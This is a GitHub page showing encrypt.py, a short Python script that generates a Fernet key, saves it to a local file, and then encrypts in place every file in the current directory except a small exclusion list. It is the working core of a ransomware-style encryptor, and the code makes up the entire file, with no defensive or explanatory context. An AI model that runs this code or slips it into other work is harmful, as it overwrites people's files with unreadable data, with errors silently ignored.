-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathencrypt.py
More file actions
29 lines (21 loc) · 693 Bytes
/
Copy pathencrypt.py
File metadata and controls
29 lines (21 loc) · 693 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import os
from cryptography.fernet import Fernet # pip install cryptography
TOKEN = Fernet.generate_key()
with open("token_file.key", "wb") as token_file:
token_file.write(TOKEN)
fernet = Fernet(TOKEN)
def encrypt(file):
try:
with open(file, "rb") as my_file:
my_file_data = my_file.read()
encrypted_file_data = fernet.encrypt(my_file_data)
with open(file, "wb") as my_file:
my_file.write((encrypted_file_data))
except Exception:
return
safe_file = ['main.py', 'token_file.key', 'decryted.py']
for file in os.listdir():
if file in safe_file:
continue
elif os.path.isfile(file):
encrypt(file)